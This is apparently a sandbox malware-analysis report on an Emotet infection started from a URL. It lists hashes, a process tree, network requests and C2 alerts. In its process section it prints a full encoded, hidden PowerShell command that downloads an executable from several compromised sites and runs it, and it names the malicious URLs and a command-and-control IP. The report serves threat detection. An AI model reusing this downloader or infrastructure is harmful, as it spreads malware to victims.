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URL:

http://carolscloud.com/media/public/

Full analysis: https://app.any.run/tasks/176494f4-078a-4f87-b69b-c066a6d6e39a
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: December 06, 2019, 16:27:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet-doc
emotet
trojan
Indicators:
MD5:

F6D6CDCBBBB3BC426938C687E194DBF2

SHA1:

9BDF3C7223676F01BDF7E651EAF0A380B4FE9176

SHA256:

4BF2712C945CDBD36B9C4F3991E6D9190DE45FD42CAD0FE27A3898E31070388B

SSDEEP:

3:N1KdEaJWVQDAj6Q:CGaJCQDAjP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops known malicious document

      • firefox.exe (PID: 1740)
      • WINWORD.EXE (PID: 3732)

    • Application was dropped or rewritten from another process

      • 535.exe (PID: 3796)
      • 535.exe (PID: 2864)
      • serialfunc.exe (PID: 3384)
      • serialfunc.exe (PID: 3816)

    • Emotet process was detected

      • 535.exe (PID: 2864)

    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 3384)

    • Connects to CnC server

      • serialfunc.exe (PID: 3384)

    • EMOTET was detected

      • serialfunc.exe (PID: 3384)

  • SUSPICIOUS

    • Creates files in the program directory

      • firefox.exe (PID: 1740)

    • Starts Microsoft Office Application

      • firefox.exe (PID: 1740)
      • WINWORD.EXE (PID: 3732)

    • Application launched itself

      • WINWORD.EXE (PID: 3732)
      • 535.exe (PID: 3796)

    • Executed via WMI

      • powershell.exe (PID: 3876)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3876)
      • 535.exe (PID: 2864)

    • Creates files in the user directory

      • powershell.exe (PID: 3876)

    • PowerShell script executed

      • powershell.exe (PID: 3876)

    • Starts itself from another location

      • 535.exe (PID: 2864)

    • Connects to server without host name

      • serialfunc.exe (PID: 3384)

  • INFO

    • Reads CPU info

      • firefox.exe (PID: 1740)

    • Application launched itself

      • firefox.exe (PID: 1740)

    • Creates files in the user directory

      • firefox.exe (PID: 1740)
      • WINWORD.EXE (PID: 3732)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3732)
      • WINWORD.EXE (PID: 3324)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3876)
      • 535.exe (PID: 2864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
13
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe firefox.exe firefox.exe winword.exe no specs winword.exe no specs powershell.exe 535.exe no specs #EMOTET 535.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
1956"C:\Program Files\Mozilla Firefox\firefox.exe" "http://carolscloud.com/media/public/"C:\Program Files\Mozilla Firefox\firefox.exe—explorer.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
68.0.1
1740"C:\Program Files\Mozilla Firefox\firefox.exe" http://carolscloud.com/media/public/C:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Version:
68.0.1
3148"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1740.0.43858104\646726711" -parentBuildID 20190717172542 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 1740 "\\.\pipe\gecko-crash-server-pipe.1740" 1164 gpuC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Version:
68.0.1
856"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1740.3.1313555930\489307633" -childID 1 -isForBrowser -prefsHandle 1704 -prefMapHandle 1700 -prefsLen 1 -prefMapSize 191824 -parentBuildID 20190717172542 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 1740 "\\.\pipe\gecko-crash-server-pipe.1740" 1724 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
68.0.1
3140"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1740.13.1389795052\815133544" -childID 2 -isForBrowser -prefsHandle 2876 -prefMapHandle 2880 -prefsLen 5996 -prefMapSize 191824 -parentBuildID 20190717172542 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 1740 "\\.\pipe\gecko-crash-server-pipe.1740" 2892 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
68.0.1
2488"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1740.20.1472383201\202573824" -childID 3 -isForBrowser -prefsHandle 3632 -prefMapHandle 3652 -prefsLen 7129 -prefMapSize 191824 -parentBuildID 20190717172542 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 1740 "\\.\pipe\gecko-crash-server-pipe.1740" 3688 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
68.0.1
3732"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FILE_379238273305.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—firefox.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3324"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3876powershell -w hidden -en JABLAHYAcQBsAHMAdAB0AGQAZwA9ACcAVgBqAHUAZAB1AHgAbgBsAHEAYQBjAHoAZAAnADsAJABTAGIAawB5AGcAdQBlAHkAYQB5ACAAPQAgACcANQAzADUAJwA7ACQAUwBrAG4AbQBnAHYAdgBvAHkAPQAnAE4AeABuAGsAYwBlAGIAbwAnADsAJABEAGEAeQB1AGsAbwBnAHIAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwBiAGsAeQBnAHUAZQB5AGEAeQArACcALgBlAHgAZQAnADsAJABRAGsAYgBuAG0AcgBlAGgAdwBuAD0AJwBOAGEAcwB0AGMAdABhAG4AZgBlAHoAJwA7ACQARgBqAGkAeQB0AGoAbAB1AGIAZQByAHcAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAYwBsAEkARQBuAFQAOwAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgByAGoAbwAuAGMAbwBtAC8ANgBwAHEAYQBtAHkANAAvADIAYQBnAC8AKgBoAHQAdABwADoALwAvAGEAaQByAC0AbwAtAHQAcgBpAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE4ARwAyAC8AKgBoAHQAdABwADoALwAvAGkAbgBmAC4AYQB3AHcAdABoAGkAbgBnAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8ANgBsAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHIAeQBhAGsAcgBlAGEAcwBpAG4AZABvAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AOQB6AHQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGUAbQBzAHQAYQB0AGUAZABlAHYALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AYwAvACcALgAiAHMAUABgAGwASQBUACIAKAAnACoAJwApADsAJABPAGQAcAB6AHUAYwB6AG4AdABiAHoAbQB6AD0AJwBSAGcAYwBoAGUAdwBqAG0AcgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0AIABpAG4AIAAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAKQB7AHQAcgB5AHsAJABGAGoAaQB5AHQAagBsAHUAYgBlAHIAdwAuACIARABPAGAAVwBuAEwATwBgAEEARABgAEYAaQBMAGUAIgAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0ALAAgACQARABhAHkAdQBrAG8AZwByAGcAKQA7ACQASQBvAGEAZwBsAGsAZgBuAD0AJwBPAGgAYgBsAHkAZQB1AHoAcwBnAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAGEAeQB1AGsAbwBnAHIAZwApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMwA5ADkANgA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgB0ACIAKAAkAEQAYQB5AHUAawBvAGcAcgBnACkAOwAkAFkAYwBzAHEAZABlAHEAeQBwAHMAdABsAG0APQAnAFAAZwBsAHUAcQBkAHoAYQB3AGYAcwAnADsAYgByAGUAYQBrADsAJABaAGMAeQBpAHMAZQBoAGoAcgBwAGsAPQAnAFEAcgBpAHIAbgByAGgAagBkAGEAcgBmAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB3AGwAawBwAGQAeQBtAHQAbABzAGgAZgA9ACcAUgBiAGEAdABtAGgAcwBlAHIAYQBoAGQAdgAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3796"C:\Users\admin\535.exe" C:\Users\admin\535.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
3 496
Read events
2 607
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
77
Text files
25
Unknown types
58

Dropped files

PID
Process
Filename
Type
1740firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs-1.js —
MD5:—
SHA256:—
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.tmp —
MD5:—
SHA256:—
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4.tmp —
MD5:—
SHA256:—
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.jstext
MD5:354459382F30B8994109C88659DFA1F3
SHA256:E3E8E2B7E7EECA231620D83C70FA5A926E8B9CE74C51F595F71191DC0B50527E
1740firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\safebrowsing-updating\block-flash-digest256.sbstorebinary
MD5:0E8FE60CCD7E9B4C32589A5743A95302
SHA256:2B124D4026850A3CFFD28DBACB58AEC28F7DCD4D40BC14E52BBE96D60CE4E749
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4jsonlz4
MD5:6D378E0D40B6EACA22C8BCE899A1C5C1
SHA256:ADA2467B2477ACEFF837AC7820C435AD1EBBE844B2DA31C7AB9AE8D010C7A639
1740firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.jsontext
MD5:C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA256:00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
1740firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\scriptCache-child-current.binbinary
MD5:5027177F513CDAE07DB2330E1DED5934
SHA256:0C53F16051E738287A4612F68E296238087627E594CFD6DDFA1FECC2E998328B
1740firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\urlCache-current.binbinary
MD5:DE9496ACA551ADE408EF6466A11833A1
SHA256:8F9C7FDB3E0BC01024E43A8E242468FC4DD4F74C725E32A883571635203DC10A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
29
DNS requests
71
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1740
firefox.exe
GET
200
69.89.31.207:80
http://carolscloud.com/media/public/
US
document
194 Kb
unknown
1740
firefox.exe
POST
200
72.21.91.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
1740
firefox.exe
POST
200
72.21.91.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
1740
firefox.exe
POST
200
72.21.91.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
1740
firefox.exe
POST
200
172.217.18.163:80
http://ocsp.pki.goog/gts1o1
US
der
471 b
whitelisted
1740
firefox.exe
POST
200
72.21.91.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3384
serialfunc.exe
POST
200
107.2.2.28:80
http://107.2.2.28/WNRwobS0xPY7H
US
binary
132 b
malicious
1740
firefox.exe
POST
200
172.217.18.163:80
http://ocsp.pki.goog/gts1o1
US
der
471 b
whitelisted
3876
powershell.exe
GET
200
104.28.31.186:80
http://air-o-trip.com/wp-admin/NG2/
US
html
3.97 Kb
unknown
1740
firefox.exe
GET
200
2.16.186.50:80
http://detectportal.firefox.com/success.txt
unknown
text
8 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1740
firefox.exe
2.16.186.50:80
detectportal.firefox.com
Akamai International B.V.
—
whitelisted
1740
firefox.exe
69.89.31.207:80
carolscloud.com
Unified Layer
US
unknown
1740
firefox.exe
54.240.168.103:443
snippets.cdn.mozilla.net
Amazon.com, Inc.
US
unknown
1740
firefox.exe
35.164.109.147:443
search.services.mozilla.com
Amazon.com, Inc.
US
unknown
1740
firefox.exe
52.33.184.165:443
tiles.services.mozilla.com
Amazon.com, Inc.
US
unknown
1740
firefox.exe
52.41.39.5:443
push.services.mozilla.com
Amazon.com, Inc.
US
malicious
1740
firefox.exe
172.217.21.202:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
1740
firefox.exe
172.217.23.110:443
sb-ssl.google.com
Google Inc.
US
whitelisted
1740
firefox.exe
172.217.18.163:80
ocsp.pki.goog
Google Inc.
US
whitelisted
1740
firefox.exe
143.204.229.45:443
tracking-protection.cdn.mozilla.net
—
US
unknown

DNS requests

Domain
IP
Reputation
carolscloud.com
  • 69.89.31.207
unknown
detectportal.firefox.com
  • 2.16.186.50
  • 2.16.186.112
whitelisted
a1089.dscd.akamai.net
  • 2.16.186.112
  • 2.16.186.50
whitelisted
search.services.mozilla.com
  • 35.164.109.147
  • 52.89.218.39
  • 52.35.182.58
whitelisted
search.r53-2.services.mozilla.com
  • 52.35.182.58
  • 52.89.218.39
  • 35.164.109.147
whitelisted
push.services.mozilla.com
  • 52.41.39.5
whitelisted
autopush.prod.mozaws.net
  • 52.41.39.5
whitelisted
snippets.cdn.mozilla.net
  • 54.240.168.103
  • 54.240.168.96
  • 54.240.168.40
  • 54.240.168.104
whitelisted
d228z91au11ukj.cloudfront.net
  • 54.240.168.104
  • 54.240.168.40
  • 54.240.168.96
  • 54.240.168.103
whitelisted
tiles.services.mozilla.com
  • 52.33.184.165
  • 52.39.125.254
  • 54.186.225.209
  • 52.39.224.180
  • 54.68.132.173
  • 52.39.22.32
  • 52.89.51.22
  • 54.69.207.70
whitelisted

Threats

PID
Process
Class
Message
1740
firefox.exe
Misc activity
SUSPICIOUS [PTsecurity] Download DOC file with VBAScript
3384
serialfunc.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 2
3384
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
3384
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
3384
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
No debug info
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Reports
http://carolscloud.com/media/public/